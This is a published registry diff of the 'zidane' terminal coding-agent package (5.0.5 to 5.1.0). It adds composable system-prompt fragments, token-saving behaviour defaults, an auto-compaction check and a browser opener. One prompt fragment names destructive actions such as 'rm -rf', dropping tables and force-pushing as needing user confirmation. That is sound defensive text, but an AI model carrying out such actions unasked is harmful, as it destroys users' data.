zidane 5.0.5 → 5.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. package/README.md +37 -1
  2. package/dist/{agent-JhicgLOV.d.ts → agent-B0vrSTQ9.d.ts} +162 -4
  3. package/dist/agent-B0vrSTQ9.d.ts.map +1 -0
  4. package/dist/chat.d.ts +536 -92
  5. package/dist/chat.d.ts.map +1 -1
  6. package/dist/chat.js +2 -2
  7. package/dist/contexts/docker.d.ts +7 -0
  8. package/dist/contexts/docker.d.ts.map +1 -0
  9. package/dist/{contexts-3Arvn7yR.js → contexts/docker.js} +2 -128
  10. package/dist/contexts/docker.js.map +1 -0
  11. package/dist/contexts-BwiHIr2w.js +129 -0
  12. package/dist/contexts-BwiHIr2w.js.map +1 -0
  13. package/dist/contexts.d.ts +3 -2
  14. package/dist/contexts.js +2 -2
  15. package/dist/index-CFxhms_B.d.ts +1303 -0
  16. package/dist/index-CFxhms_B.d.ts.map +1 -0
  17. package/dist/index-DYcymRtr.d.ts +26 -0
  18. package/dist/index-DYcymRtr.d.ts.map +1 -0
  19. package/dist/{index-t_W9i7Ql.d.ts → index-X6Q9PN_A.d.ts} +3 -3
  20. package/dist/{index-t_W9i7Ql.d.ts.map → index-X6Q9PN_A.d.ts.map} +1 -1
  21. package/dist/index.d.ts +6 -5
  22. package/dist/index.js +10 -9
  23. package/dist/index.js.map +1 -1
  24. package/dist/login-BiuHyuEh.js +1276 -0
  25. package/dist/login-BiuHyuEh.js.map +1 -0
  26. package/dist/{mcp-Dw-fRPVk.js → mcp-BgwK6ySj.js} +184 -9
  27. package/dist/mcp-BgwK6ySj.js.map +1 -0
  28. package/dist/mcp.d.ts +2 -2
  29. package/dist/mcp.js +1 -1
  30. package/dist/{messages-xaYMMFlb.js → messages-BAFLvH_z.js} +1 -1
  31. package/dist/{messages-xaYMMFlb.js.map → messages-BAFLvH_z.js.map} +1 -1
  32. package/dist/{presets-BRFH2qsQ.js → presets-CI8_fyvX.js} +2 -2
  33. package/dist/{presets-BRFH2qsQ.js.map → presets-CI8_fyvX.js.map} +1 -1
  34. package/dist/presets.d.ts +2 -2
  35. package/dist/presets.js +1 -1
  36. package/dist/{providers-BCbdv99U.js → providers-C6-vhaVu.js} +2 -2
  37. package/dist/{providers-BCbdv99U.js.map → providers-C6-vhaVu.js.map} +1 -1
  38. package/dist/providers.d.ts +1 -1
  39. package/dist/providers.js +2 -2
  40. package/dist/session/sqlite.d.ts +1 -1
  41. package/dist/{session-791hhrFa.js → session-pS4Vt4dl.js} +1 -1
  42. package/dist/{session-791hhrFa.js.map → session-pS4Vt4dl.js.map} +1 -1
  43. package/dist/session.d.ts +1 -1
  44. package/dist/session.js +2 -2
  45. package/dist/skills.d.ts +2 -2
  46. package/dist/{stats-DZIsGqzu.js → stats-DvCtBRwK.js} +1 -1
  47. package/dist/{stats-DZIsGqzu.js.map → stats-DvCtBRwK.js.map} +1 -1
  48. package/dist/{theme-C3JHZ5y9.d.ts → theme-CcGLMJrn.d.ts} +732 -20
  49. package/dist/theme-CcGLMJrn.d.ts.map +1 -0
  50. package/dist/{tools-CLazLRb4.js → tools-d1yeA6xK.js} +399 -13
  51. package/dist/tools-d1yeA6xK.js.map +1 -0
  52. package/dist/tools.d.ts +2 -2
  53. package/dist/tools.js +1 -1
  54. package/dist/tui.d.ts +421 -39
  55. package/dist/tui.d.ts.map +1 -1
  56. package/dist/tui.js +5761 -2374
  57. package/dist/tui.js.map +1 -1
  58. package/dist/{turn-operations-DZ3TrljX.js → turn-operations-BzOIM6Of.js} +2036 -129
  59. package/dist/turn-operations-BzOIM6Of.js.map +1 -0
  60. package/dist/types-Bx_F8jet.js.map +1 -1
  61. package/dist/{index-CXVvqTQj.d.ts → types-OtrV6LJT.d.ts} +2 -27
  62. package/dist/types-OtrV6LJT.d.ts.map +1 -0
  63. package/dist/types.d.ts +4 -3
  64. package/dist/types.js +1 -1
  65. package/package.json +5 -1
  66. package/dist/agent-JhicgLOV.d.ts.map +0 -1
  67. package/dist/contexts-3Arvn7yR.js.map +0 -1
  68. package/dist/index-2yLUyTbc.d.ts +0 -430
  69. package/dist/index-2yLUyTbc.d.ts.map +0 -1
  70. package/dist/index-CXVvqTQj.d.ts.map +0 -1
  71. package/dist/mcp-Dw-fRPVk.js.map +0 -1
  72. package/dist/theme-C3JHZ5y9.d.ts.map +0 -1
  73. package/dist/tools-CLazLRb4.js.map +0 -1
  74. package/dist/turn-operations-DZ3TrljX.js.map +0 -1
@@ -1,10 +1,10 @@
1
- import { a as multiEdit, c as grep, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, r as shell, t as writeFile$1, u as edit } from "./tools-CLazLRb4.js";
1
+ import { a as multiEdit, c as grep, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, r as shell, t as writeFile$1, u as edit } from "./tools-d1yeA6xK.js";
2
2
  import { n as toolResultToText } from "./types-Bx_F8jet.js";
3
- import { r as normalizeMcpServers } from "./mcp-Dw-fRPVk.js";
3
+ import { r as normalizeMcpServers } from "./mcp-BgwK6ySj.js";
4
4
  import { a as discoverSkills } from "./interpolate-Ck970-61.js";
5
- import { n as formatTokenUsage } from "./stats-DZIsGqzu.js";
6
- import { n as definePreset } from "./presets-BRFH2qsQ.js";
7
- import { i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-BCbdv99U.js";
5
+ import { n as formatTokenUsage } from "./stats-DvCtBRwK.js";
6
+ import { n as definePreset } from "./presets-CI8_fyvX.js";
7
+ import { i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-C6-vhaVu.js";
8
8
  import { spawn } from "node:child_process";
9
9
  import { readdir, stat, writeFile } from "node:fs/promises";
10
10
  import { dirname, join, resolve, sep } from "node:path";
@@ -14,6 +14,214 @@ import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/
14
14
  import { getModel, getModels } from "@mariozechner/pi-ai";
15
15
  import { createContext, useCallback, useContext, useEffect, useMemo, useRef, useState } from "react";
16
16
  import { jsx } from "react/jsx-runtime";
17
+ import { jsx as jsx$1 } from "@opentui/react/jsx-runtime";
18
+ //#region src/chat/agent-prompt.ts
19
+ /**
20
+ * Agent system-prompt fragments — composable doctrine for built-in profiles.
21
+ *
22
+ * Each `const` below is one self-contained section of a system prompt. They
23
+ * exist as exports so SDK consumers can pick and choose: build a custom
24
+ * profile by spreading them in {@link buildBuildSystem} order, drop a fragment
25
+ * for a stricter / looser agent, or compose with project-specific prose.
26
+ *
27
+ * The fragments are deliberately byte-stable across sessions — every doctrine
28
+ * piece reads the same on every turn so the system-prompt cache breakpoint
29
+ * (anthropic ephemeral, `src/providers/anthropic.ts:327`) keeps hitting cache.
30
+ * Runtime-derived content (cwd, date) lives in {@link envSection} and is
31
+ * computed at agent-build time, not per-turn — same anchor, same cache.
32
+ *
33
+ * The TUI overrides `agent.run({ system })` with the composed string at
34
+ * session activation so a moved cwd or rolled-over date refreshes the
35
+ * prefix; SDK consumers calling `createAgent({ system })` directly get the
36
+ * cwd-less variant from the preset and can wrap their own env section.
37
+ */
38
+ /**
39
+ * Lead line — short, version-stable, written in the same key as Claude Code's
40
+ * identity prefix (`constants/system.ts:10` in claude-code). Models trained
41
+ * on similar prefixes anchor faster; keep this immutable across releases.
42
+ */
43
+ const IDENTITY_PREFIX = "You are zidane, a terminal-based coding agent that helps the user with software-engineering tasks.";
44
+ /**
45
+ * Render the env anchor block. Plain text — XML tags only because models
46
+ * lean on them as structural cues, not because we parse them anywhere.
47
+ *
48
+ * Kept narrow on purpose: cwd / projectRoot / date / platform are the
49
+ * knobs the model can't infer from the conversation. Anything else
50
+ * (git branch, project name) belongs in CLAUDE.md / project-level
51
+ * prompts where the user opts in.
52
+ *
53
+ * Cache-stability: outputs are byte-stable per `(cwd, projectRoot,
54
+ * date, platform)` tuple. Repeated session activations against the
55
+ * same workspace produce the same prefix → provider's prompt cache
56
+ * hits across turns + across sessions in the same host process.
57
+ */
58
+ function envSection(opts) {
59
+ const date = opts.date ?? (/* @__PURE__ */ new Date()).toISOString().slice(0, 10);
60
+ const platform = opts.platform ?? process.platform;
61
+ const lines = ["<env>", `Cwd: ${opts.cwd}`];
62
+ if (opts.projectRoot && opts.projectRoot !== opts.cwd) {
63
+ lines.push(`Project root: ${opts.projectRoot}`);
64
+ lines.push("Note: file paths referenced by the user via `@`-completion are relative to `Project root`, not `Cwd`. Resolve them from the project root (use absolute paths when invoking tools to avoid ambiguity).");
65
+ }
66
+ lines.push(`Date: ${date}`, `Platform: ${platform}`, "</env>");
67
+ return lines.join("\n");
68
+ }
69
+ /**
70
+ * Software-engineering doctrine. Lifted in spirit from claude-code's
71
+ * `# Doing tasks` (`constants/prompts.ts:199-253`). Key levers:
72
+ *
73
+ * - Stick to scope — prevents speculative refactors that double output tokens.
74
+ * - No narration comments — prevents inflating diffs with `// Import the module` lines.
75
+ * - Verify before claiming done — prevents false-positive reports that force a follow-up turn.
76
+ */
77
+ const DOING_TASKS_DOCTRINE = `# Doing tasks
78
+ - Stick to the scope you were asked for. Don't add features, refactor unrelated code, or "improve" things beyond the request. A bug fix doesn't need surrounding cleanup; a small feature doesn't need extra configurability.
79
+ - Don't add comments, docstrings, or type annotations to code you didn't change. Only comment where the WHY is non-obvious (hidden constraint, subtle invariant, workaround). Never narrate WHAT the code does — well-named identifiers already do that.
80
+ - Trust internal code and framework guarantees. Validate at system boundaries (user input, external APIs), not everywhere. Skip backwards-compat shims unless asked.
81
+ - Don't create helpers, utilities, or abstractions for one-time operations. Three similar lines beat a premature abstraction. The right amount of complexity is what the task actually requires.
82
+ - Before reporting a task complete, verify it actually works: run the test, execute the script, check the output. Report outcomes faithfully — if tests fail, say so with the relevant output. Never claim "all tests pass" when output shows failures.
83
+ - If you spot a bug adjacent to what was asked, or notice the request is based on a misconception, say so. You are a collaborator, not just an executor.`;
84
+ /**
85
+ * zidane-specific token-economy doctrine. No claude-code analog — this is
86
+ * the prose half of the `behavior.{compactStrategy, elideStaleReads,
87
+ * toolDisclosure, toolOutputBudget}` defaults. The behavior flags do the
88
+ * heavy lifting at the wire level; this prompt nudges the model away from
89
+ * the access patterns that defeat them.
90
+ */
91
+ const TOKEN_DISCIPLINE_DOCTRINE = `# Working efficiently
92
+ - Read a file once. Re-reading the same file in the same session wastes context — the prior \`read_file\` result is still in your view (and stale reads after an edit are elided automatically).
93
+ - Narrow before you read. \`grep\` / \`glob\` to locate, then \`read_file\` on the specific file. Don't open a 2000-line file when you only need one function.
94
+ - Prefer \`edit\` / \`multi_edit\` over \`write_file\` for surgical changes — full overwrites are larger payloads and easier to get wrong.
95
+ - Spawn a subagent (\`spawn\`) for self-contained research dives or codegen passes that don't need the parent's context. The child runs in its own context window — you only get its final report back.
96
+ - Don't grep for things already shown to you, list directories you already saw, or re-execute commands whose output is still above. Tool budgets nudge against runaway exploration but the cheaper fix is to not start the loop.
97
+
98
+ Tool results may be elided, persisted, or replaced as the conversation grows: stale \`read_file\` outputs become short stubs after the file is edited, older tool results may be tail-compacted, and large outputs are written to disk and replaced inline with a \`<persisted-output tool="…" bytes="…" path="…">\` block carrying a 2 KiB head preview plus the filesystem path. Copy load-bearing data into your own response text before you'd need to recover it later — and when you see a \`<persisted-output>\` block whose preview isn't enough, call \`read_file\` on the persisted path to retrieve the full payload.`;
99
+ /**
100
+ * User-facing communication style. Lifted from claude-code's
101
+ * `# Communicating with the user` + `# Tone and style` sections (~404-442).
102
+ * The "no colon before tool calls" rule matters because models often
103
+ * generate "Let me check this file:" right before a tool call that the
104
+ * user never sees rendered.
105
+ */
106
+ const COMMUNICATION_DOCTRINE = `# Communicating with the user
107
+ - You're writing for a person, not logging to a console. Tool calls and reasoning are not visible — only your text output is. Before your first tool call, briefly state what you're about to do.
108
+ - Give short updates at load-bearing moments: root cause found, direction change, real progress. Skip play-by-play.
109
+ - Write in flowing prose. Avoid excessive em dashes, fragments, symbols, or notation. Tables when they help, not by default.
110
+ - Don't use a colon before tool calls. "Let me read the file:" + tool call reads as broken — write "Let me read the file." with a period.
111
+ - Reference code as \`file:line\` so the user can navigate (e.g. \`src/agent.ts:1213\`).
112
+ - No emojis unless the user explicitly asks.`;
113
+ /**
114
+ * Reversibility / blast-radius doctrine. Mirrors claude-code's `# Executing
115
+ * actions with care` (255-267). The TUI's safe-mode already gates risky
116
+ * tool calls behind explicit approval, but this prompt teaches the model
117
+ * to anticipate the gate rather than be surprised by it — and to ask
118
+ * before reaching for destructive shortcuts.
119
+ */
120
+ const ACTIONS_WITH_CARE_DOCTRINE = `# Executing actions with care
121
+ Reversibility scales the required caution. Local edits, tests, and reads are free to take. Destructive or shared-state actions need explicit user confirmation — \`rm -rf\`, dropping tables, force-pushing, modifying CI, sending messages, posting to external services. A user approving an action once does NOT mean they approve it in all contexts.
122
+
123
+ When you hit an obstacle, do not use destructive actions as a shortcut to make it go away. Measure twice, cut once.`;
124
+ /**
125
+ * How to brief a subagent. Spawning a child agent is the highest-leverage
126
+ * token move in zidane — a 5k-token research dive becomes a 200-token
127
+ * summary in the parent's context. But shallow prompts produce shallow
128
+ * work, so the doctrine is mostly about quality of the briefing.
129
+ *
130
+ * Lifted from claude-code's `## Writing the prompt` tool-prompt
131
+ * (`tools/AgentTool/prompt.ts:99-113`).
132
+ */
133
+ const SUBAGENT_GUIDANCE = `# When spawning subagents
134
+ Brief the child agent like a smart colleague who just walked in — it has not seen this conversation and doesn't know what you've tried or why this matters.
135
+ - Explain what you're trying to accomplish and why.
136
+ - Describe what you've already learned or ruled out.
137
+ - Give enough context that the child can make judgment calls, not just follow narrow steps.
138
+ - For investigations, hand over the question. For lookups, hand over the exact command.
139
+ - Never delegate understanding ("based on your findings, fix the bug"). Synthesize yourself — include file paths, line numbers, and the specific change you want.
140
+
141
+ Terse command-style prompts produce shallow, generic work.`;
142
+ /**
143
+ * Plan-mode framing. Replaces the previous one-liner with explicit phases
144
+ * (explore → propose → submit), drawing on claude-code's iterative-plan
145
+ * mode (`utils/messages.ts:3323-3383`). Always paired with the read-only
146
+ * tool set in {@link PLAN_AGENT}.
147
+ */
148
+ const PLAN_MODE_DOCTRINE = `# Plan mode — read-only
149
+ You are in PLAN mode. You can read files, list directories, and search the codebase — but you CANNOT modify files, run shell commands, or spawn subagents. Use this mode to investigate, understand, and design a proposal.
150
+
151
+ ## Loop
152
+ 1. **Explore** — Read code. Look for existing functions, utilities, and patterns to reuse.
153
+ 2. **Ask** — When you hit an ambiguity only the user can resolve (requirements, preferences, tradeoffs), call \`ask_user\` with the full batch of questions.
154
+ 3. **Propose** — When the plan is ready, submit it via \`present_plan\` with a concrete title, the markdown body, and optional structured steps. The user approves, rejects, or asks for revisions.
155
+
156
+ ## Good plans
157
+ - Cover what to change, which files to modify, what existing code to reuse (with file paths), and how to verify the change end-to-end.
158
+ - Reference real symbols and line numbers from your exploration.
159
+ - Surface only your recommended approach, not every alternative.
160
+
161
+ The user will switch to Build mode to execute an approved plan.`;
162
+ /**
163
+ * How to use `present_plan` / `ask_user`. Kept short — the tool descriptions
164
+ * carry the schema details; this prompt covers the cross-cutting *when*.
165
+ *
166
+ * Previously lived inline in `src/chat/agents.ts` as `INTERACTION_GUIDANCE`.
167
+ * Moved here so a custom profile can pull it in independently.
168
+ */
169
+ const INTERACTION_GUIDANCE = `# Interacting with the user
170
+ - Call \`present_plan\` when you have a concrete proposal that materially changes the workspace and want explicit confirmation before executing.
171
+ - Call \`ask_user\` when clarifying answers materially change the next steps. Batch related questions into one call — every call pauses the conversation.
172
+ - Use both sparingly. Don't ask what you could find out by reading the code.`;
173
+ function buildEnvSectionFromOpts(opts) {
174
+ if (!opts.cwd) return null;
175
+ return envSection({
176
+ cwd: opts.cwd,
177
+ ...opts.projectRoot !== void 0 ? { projectRoot: opts.projectRoot } : {},
178
+ ...opts.date !== void 0 ? { date: opts.date } : {},
179
+ ...opts.platform !== void 0 ? { platform: opts.platform } : {}
180
+ });
181
+ }
182
+ /**
183
+ * Compose the Build-mode system prompt.
184
+ *
185
+ * Order matters for cache stability: identity → env → doctrine → guidance.
186
+ * Env comes before doctrine so a cwd change rebuilds only the head of the
187
+ * prompt; the doctrine tail stays byte-identical across sessions and rides
188
+ * the cache.
189
+ *
190
+ * The fragments are joined with blank lines so the model sees clean section
191
+ * breaks. Don't reorder lightly — every reorder costs one cache miss across
192
+ * every active session.
193
+ */
194
+ function buildBuildSystem(opts = {}) {
195
+ return joinPrompt([
196
+ IDENTITY_PREFIX,
197
+ buildEnvSectionFromOpts(opts),
198
+ DOING_TASKS_DOCTRINE,
199
+ ACTIONS_WITH_CARE_DOCTRINE,
200
+ TOKEN_DISCIPLINE_DOCTRINE,
201
+ SUBAGENT_GUIDANCE,
202
+ COMMUNICATION_DOCTRINE,
203
+ INTERACTION_GUIDANCE
204
+ ]);
205
+ }
206
+ /**
207
+ * Compose the Plan-mode system prompt. Subset of Build: drops the
208
+ * subagent + actions-with-care fragments (no shell, no spawn in plan
209
+ * mode) and uses `PLAN_MODE_DOCTRINE` instead of `DOING_TASKS_DOCTRINE`.
210
+ */
211
+ function buildPlanSystem(opts = {}) {
212
+ return joinPrompt([
213
+ IDENTITY_PREFIX,
214
+ buildEnvSectionFromOpts(opts),
215
+ PLAN_MODE_DOCTRINE,
216
+ TOKEN_DISCIPLINE_DOCTRINE,
217
+ COMMUNICATION_DOCTRINE,
218
+ INTERACTION_GUIDANCE
219
+ ]);
220
+ }
221
+ function joinPrompt(parts) {
222
+ return parts.filter((p) => typeof p === "string" && p.length > 0).join("\n\n");
223
+ }
224
+ //#endregion
17
225
  //#region src/chat/agents.ts
18
226
  /** Read-only tool slice shared by the Plan profile and any host-built read-only variant. */
19
227
  const READ_ONLY_TOOLS = {
@@ -22,10 +230,94 @@ const READ_ONLY_TOOLS = {
22
230
  glob,
23
231
  grep
24
232
  };
233
+ /** Full build-mode tool slice — read + write + shell + spawn. */
234
+ const BUILD_TOOLS = {
235
+ shell,
236
+ readFile: readFile$1,
237
+ writeFile: writeFile$1,
238
+ listFiles,
239
+ edit,
240
+ multiEdit,
241
+ glob,
242
+ grep
243
+ };
244
+ /**
245
+ * Tools the chat layer never persists to disk, regardless of output size.
246
+ *
247
+ * Rationale per entry:
248
+ * - `read_file` — our reader is already paginated (`offset` + `limit`).
249
+ * Persisting the slice the model asked for and pointing it at the
250
+ * persisted path is circular; if the model wants more, it pages.
251
+ * - `tool_search` — short metadata envelope. Never large.
252
+ * - `skills_use` / `skills_read` — the `<skill_content>` body is
253
+ * intentionally part of the prompt; persisting it defeats the purpose.
254
+ * - `present_plan` / `ask_user` — short JSON envelopes (decision +
255
+ * answers). Never large.
256
+ * - `spawn` — the subagent's final report IS the value of the call;
257
+ * stubbing it out would defeat the orchestration pattern.
258
+ *
259
+ * Exported so SDK consumers building custom profiles can extend the list
260
+ * (e.g. host-defined `screenshot` tool whose base64 payload should stay
261
+ * inline). Set `behavior.persistExcludeTools` to your own list to fully
262
+ * override.
263
+ */
264
+ const DEFAULT_PERSIST_EXCLUDE_TOOLS = [
265
+ "read_file",
266
+ "tool_search",
267
+ "skills_use",
268
+ "skills_read",
269
+ "present_plan",
270
+ "ask_user",
271
+ "spawn"
272
+ ];
273
+ /**
274
+ * Token-saving `AgentBehavior` defaults shared by the built-in profiles.
275
+ *
276
+ * These flip on at the chat layer, not at the SDK core (`src/agent.ts`) —
277
+ * external `createAgent()` consumers keep the conservative defaults.
278
+ * Rationale per knob:
279
+ *
280
+ * - `compactStrategy: 'tail'` — when the persisted history's tool-output
281
+ * bytes exceed `compactThreshold`, stub older `tool_result` blocks at
282
+ * the wire level (session storage is untouched). Without this, a single
283
+ * long-lived chat keeps re-sending every read/grep result every turn.
284
+ * - `elideStaleReads: true` — after a successful `edit` / `write_file`,
285
+ * replace earlier `read_file` results on the same path with a short
286
+ * stub. Eliminates the pre-edit file body riding along forever.
287
+ * - `toolDisclosure: 'lazy'` — MCP tools advertise as name+description in
288
+ * the system prompt and load their `inputSchema` on demand via
289
+ * `tool_search`. No-op without MCPs (gated on `lazyEntries.length > 0`
290
+ * in `src/agent.ts:1287`); substantial savings with a 50-tool server.
291
+ * - `toolOutputBudget: 64 KiB` — soft per-turn cap that injects a
292
+ * summarize-before-continuing nudge when tool output explodes.
293
+ * - `persistThreshold: 8 KiB` + `persistExcludeTools` — tool results
294
+ * above the threshold are written to disk and replaced inline with a
295
+ * `<persisted-output>` stub (preview + path). `persistDir` is wired by
296
+ * the TUI at session activation; without a dir, persistence is off.
297
+ * The user can disable persistence entirely via
298
+ * `Settings.persistToolResults` (sets the threshold to 0 at agent build
299
+ * time).
300
+ */
301
+ const SHARED_BEHAVIOR = {
302
+ compactStrategy: "tail",
303
+ compactThreshold: 128 * 1024,
304
+ compactKeepTurns: 4,
305
+ elideStaleReads: true,
306
+ toolDisclosure: "lazy",
307
+ toolOutputBudget: 64 * 1024,
308
+ persistThreshold: 8 * 1024,
309
+ persistExcludeTools: DEFAULT_PERSIST_EXCLUDE_TOOLS
310
+ };
25
311
  /**
26
312
  * Build agent — the default profile. Full read/write/shell access plus
27
313
  * subagent spawning. Mirrors the legacy `basic` preset so existing TUI
28
314
  * behavior is preserved when `agents` is omitted.
315
+ *
316
+ * The system prompt is the cwd-less variant of {@link buildBuildSystem};
317
+ * the TUI overrides it per-session with an env-anchored composition so
318
+ * the prompt carries the current project root + date. SDK consumers
319
+ * calling `createAgent({ ...BUILD_AGENT.preset })` directly get the
320
+ * cwd-less prompt and can wrap their own env section.
29
321
  */
30
322
  const BUILD_AGENT = {
31
323
  id: "build",
@@ -34,16 +326,10 @@ const BUILD_AGENT = {
34
326
  accent: "accent",
35
327
  preset: definePreset({
36
328
  name: "build",
37
- system: "You are a helpful coding assistant with full access to the workspace: shell, file reading, file writing, surgical and multi-edit tools, directory listing, codebase search, and sub-agent spawning. Prefer `edit` / `multi_edit` for in-place changes and `write_file` for full file overwrites. Spawn subagents for parallelizable work.",
329
+ system: buildBuildSystem(),
330
+ behavior: { ...SHARED_BEHAVIOR },
38
331
  tools: {
39
- shell,
40
- readFile: readFile$1,
41
- writeFile: writeFile$1,
42
- listFiles,
43
- edit,
44
- multiEdit,
45
- glob,
46
- grep,
332
+ ...BUILD_TOOLS,
47
333
  spawn: createSpawnTool({ persist: true })
48
334
  }
49
335
  })
@@ -61,7 +347,8 @@ const PLAN_AGENT = {
61
347
  accent: "model",
62
348
  preset: definePreset({
63
349
  name: "plan",
64
- system: "You are in PLAN mode. You can read files, list directories, and search the codebase — but you CANNOT modify files, run shell commands, or spawn subagents. Use this mode to investigate, understand the problem, and propose a clear plan in detail. The user will switch to Build mode to execute it.",
350
+ system: buildPlanSystem(),
351
+ behavior: { ...SHARED_BEHAVIOR },
65
352
  tools: READ_ONLY_TOOLS
66
353
  })
67
354
  };
@@ -201,6 +488,32 @@ function getContextWindow(descriptor, modelId) {
201
488
  return getModelInfo(descriptor, modelId)?.contextWindow ?? null;
202
489
  }
203
490
  /**
491
+ * Reserved output budget subtracted from the raw context window when
492
+ * computing the effective ceiling for compaction / warning thresholds.
493
+ *
494
+ * Aligned with Claude Code's `COMPACT_MAX_OUTPUT_TOKENS = 20_000`
495
+ * (`utils/context.ts:12`) — covers p99.99 of summary + response output.
496
+ * A turn that consumed N input tokens leaves `effectiveWindow - N`
497
+ * headroom for the next prompt's response; once headroom shrinks
498
+ * below the threshold, auto-compaction fires.
499
+ */
500
+ const OUTPUT_RESERVE_TOKENS = 2e4;
501
+ /**
502
+ * Effective context window — what the next user turn can actually pack
503
+ * before the provider reserves space for the assistant's reply. Equals
504
+ * `rawWindow - OUTPUT_RESERVE_TOKENS`, clamped to `>= 1` so a tiny
505
+ * (or absurd) window doesn't yield zero / negative thresholds.
506
+ *
507
+ * Used by both the footer's context indicator and the auto-compact
508
+ * trigger so the two surfaces agree on "how full are we, really".
509
+ * Pass `null` through unchanged so callers can pipe `getContextWindow`
510
+ * directly without an intermediate check.
511
+ */
512
+ function effectiveContextWindow(rawWindow) {
513
+ if (rawWindow === null) return null;
514
+ return Math.max(1, rawWindow - OUTPUT_RESERVE_TOKENS);
515
+ }
516
+ /**
204
517
  * Whether the given model exposes a reasoning / extended-thinking knob.
205
518
  * Drives the TUI's effort picker visibility — the `ctrl+n` shortcut and
206
519
  * the bottom-bar `effortName` segment only surface when this is `true`.
@@ -213,7 +526,7 @@ function modelSupportsReasoning(descriptor, modelId) {
213
526
  //#endregion
214
527
  //#region src/chat/credentials.ts
215
528
  /** POSIX mode for the credentials file. Ignored on Windows. */
216
- const FILE_MODE = 384;
529
+ const FILE_MODE$1 = 384;
217
530
  /**
218
531
  * Resolve the credentials file path given the resolved TUI data directory
219
532
  * (typically `~/.zidane`, i.e. `config.paths.dir`).
@@ -263,7 +576,7 @@ function writeCredentials(dataDir, creds) {
263
576
  const path = credentialsPath(dataDir);
264
577
  mkdirSync(dirname(path), { recursive: true });
265
578
  const tmp = `${path}.${process.pid}.${Date.now()}.tmp`;
266
- writeFileSync(tmp, `${JSON.stringify(creds, null, 2)}\n`, { mode: FILE_MODE });
579
+ writeFileSync(tmp, `${JSON.stringify(creds, null, 2)}\n`, { mode: FILE_MODE$1 });
267
580
  renameSync(tmp, path);
268
581
  }
269
582
  function setProviderCredential(dataDir, descriptor, cred) {
@@ -344,7 +657,7 @@ function migrateLegacyFile(targetPath) {
344
657
  if (Object.keys(migrated).length === 0) return null;
345
658
  mkdirSync(dirname(targetPath), { recursive: true });
346
659
  const tmp = `${targetPath}.${process.pid}.${Date.now()}.tmp`;
347
- writeFileSync(tmp, `${JSON.stringify(migrated, null, 2)}\n`, { mode: FILE_MODE });
660
+ writeFileSync(tmp, `${JSON.stringify(migrated, null, 2)}\n`, { mode: FILE_MODE$1 });
348
661
  renameSync(tmp, targetPath);
349
662
  return migrated;
350
663
  }
@@ -395,6 +708,111 @@ function detectAuth(dataDir, registry, env = process.env) {
395
708
  });
396
709
  }
397
710
  //#endregion
711
+ //#region src/chat/auto-compact.ts
712
+ /**
713
+ * Auto-compaction trigger policy — decide whether the latest turn's usage
714
+ * has crossed the threshold that should fire `compactConversation` against
715
+ * the active session.
716
+ *
717
+ * Pure function, no I/O. Sits next to the chat-layer settings + providers
718
+ * so the same decision is reusable from a non-TUI host (a future GUI shell
719
+ * that wants to surface "Compact now" suggestions, a CI runner that wants
720
+ * to auto-compact between batches, …).
721
+ *
722
+ * Wire contract:
723
+ *
724
+ * - Inputs are the bits the TUI already tracks: latest `usage.input` (from
725
+ * `turn:after`), the model's raw context window (`getContextWindow`),
726
+ * and the user's settings (`autoCompact` + `autoCompactThreshold`).
727
+ * - Output is a discriminated outcome — `'fire'` when the trigger should
728
+ * run, `'skip'` with a reason otherwise. The reason is diagnostic only;
729
+ * callers don't branch on it but tests + debug logs need it.
730
+ *
731
+ * No state. Same inputs → same answer.
732
+ */
733
+ /**
734
+ * Decide whether auto-compaction should fire for the latest turn.
735
+ *
736
+ * Order of checks is deliberate: cheapest / most common skips first
737
+ * (`disabled` is one boolean read; `unknown-window` is the predictable
738
+ * miss for custom models), invariant violations next, then the actual
739
+ * threshold math. `already-compacting` runs last so the diagnostic
740
+ * surfaces correctly when the predicate is called inside an existing
741
+ * compaction window.
742
+ */
743
+ function shouldAutoCompact(input) {
744
+ if (!input.enabled) return {
745
+ kind: "skip",
746
+ reason: "disabled"
747
+ };
748
+ if (input.rawContextWindow === null) return {
749
+ kind: "skip",
750
+ reason: "unknown-window"
751
+ };
752
+ if (!Number.isFinite(input.threshold) || input.threshold <= 0 || input.threshold >= 1) return {
753
+ kind: "skip",
754
+ reason: "invalid-threshold"
755
+ };
756
+ if (!Number.isFinite(input.inputTokens) || input.inputTokens < 0) return {
757
+ kind: "skip",
758
+ reason: "invalid-input-tokens"
759
+ };
760
+ const effectiveWindow = effectiveContextWindow(input.rawContextWindow);
761
+ const usedFraction = input.inputTokens / effectiveWindow;
762
+ if (usedFraction < input.threshold) return {
763
+ kind: "skip",
764
+ reason: "under-threshold"
765
+ };
766
+ if (input.alreadyCompacting) return {
767
+ kind: "skip",
768
+ reason: "already-compacting"
769
+ };
770
+ return {
771
+ kind: "fire",
772
+ usedFraction,
773
+ effectiveWindow
774
+ };
775
+ }
776
+ //#endregion
777
+ //#region src/chat/browser.ts
778
+ /**
779
+ * Best-effort cross-platform browser open.
780
+ *
781
+ * macOS uses `open`, Linux uses `xdg-open`, Windows uses `start`. Failures
782
+ * are swallowed — both callers (AI-provider OAuth + MCP-server OAuth) show
783
+ * the URL on-screen for manual click anyway, and the underlying flows have
784
+ * their own progress/cancel paths.
785
+ *
786
+ * Uses `spawn` (not `exec`) so the URL is passed as an argv element rather
787
+ * than interpolated into a shell command — URLs containing `&`, `?`, `"`,
788
+ * or other shell metacharacters don't need quoting.
789
+ *
790
+ * Detached + unref so the spawned helper outlives the parent: the user
791
+ * can finish authorizing in the browser even if the TUI is later
792
+ * suspended (Ctrl-Z) or killed.
793
+ */
794
+ function tryOpenBrowser(url) {
795
+ const [cmd, ...args] = (() => {
796
+ if (process.platform === "darwin") return ["open", url];
797
+ if (process.platform === "win32") return [
798
+ "cmd",
799
+ "/c",
800
+ "start",
801
+ "",
802
+ url
803
+ ];
804
+ return ["xdg-open", url];
805
+ })();
806
+ try {
807
+ const child = spawn(cmd, args, {
808
+ stdio: "ignore",
809
+ detached: true
810
+ });
811
+ child.on("error", () => {});
812
+ child.unref();
813
+ } catch {}
814
+ }
815
+ //#endregion
398
816
  //#region src/chat/completion.ts
399
817
  /**
400
818
  * Prompt autocompletion framework.
